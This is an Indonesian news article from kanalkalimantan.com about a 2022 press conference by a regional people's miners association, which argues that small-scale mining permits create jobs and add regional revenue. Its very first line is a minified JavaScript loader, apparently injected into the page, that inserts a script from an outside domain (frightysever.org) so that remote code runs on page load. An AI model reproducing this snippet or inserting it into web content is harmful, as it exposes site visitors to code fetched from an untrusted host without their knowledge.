(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ketua Asosiasi Penambang Rakyat Indonesia (APRI) Tabalong, Sabirin HA Syukran Nafis menyebut jika Izin Pertambangan Rakyat (IPR) dapat membuka potensi lapangan kerja baru serta meningkatkan pendapatan asli daerah (PAD) sekitar Rp 1 miliar per tahun.
Hal ini diungkapkannya saat menggelar jumpa pers bersama awak media di Hotel Aston, Km 12 Gambut Kabupaten Banjar, Senin (23/5/2022).
Sabirin menjelaskan setiap satu penerbitan IPR akan membuka potensi lapangan kerja baru, selain itu satu IPR juga dapat meningkatkan PAD sekitar Rp 1 miliar per tahun.
“Jika dilakukan melalui prosedur yang benar dan legal, kegiatan pertambangan rakyat akan berperan penting bagi pertumbuhan ekonomi di daerah setempat,” jelas Sabirin.
Baca juga : Penyangga IKN, Gubernur Sugianto Tak Ingin Kalteng Jadi Penonton
Lebih lanjut, ia menjelaskan APRI bertujuan untuk membangun eksistensi APRI sebagai mitra pemerintah pusat dan daerah dalam membuka lapangan kerja untuk peningkatan kesejahteraan ekonomi masyarakat, pengendalian lingkungan hidup, dan peningkatan penerimaan asli daerah.
Selain itu, Ia menambahkan saat ini di Kalimantan Selatan sudah ada 700 responsible mining community (RMC) namun baru 12 yang mendapatkan izin pertambangan rakyat, 2 diantaranya telah beroperasi di Kabupaten Tanah Laut.
Kendati demikian, ia menyebut lebih dari 50 persen lagi perusahaan di Kalsel yang belum bergabung dengan APRI.
Padahal, lanjutnya masyarakat sangat antusias setelah diberikan sosialisasi dan edukasi tentang APRI.
Baca juga : Bupati Balangan Hadiri Pengukuhan dan Perpisahan Siswa SMKPPN Paringin
Lebih jauh Ia berharap nantinya, tambang-tambang kecil yang ada di Kalimantan Selatan memiliki Izin sehingga tidak ada kekhawatirian lagi.
” Ya nantinya para penambang tradisional, misalnya galin C tidak perlu lagi khawatir, tinggal sesuai atau tidak dengan ketentuan yang berlaku,” pungkasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
This website uses cookies.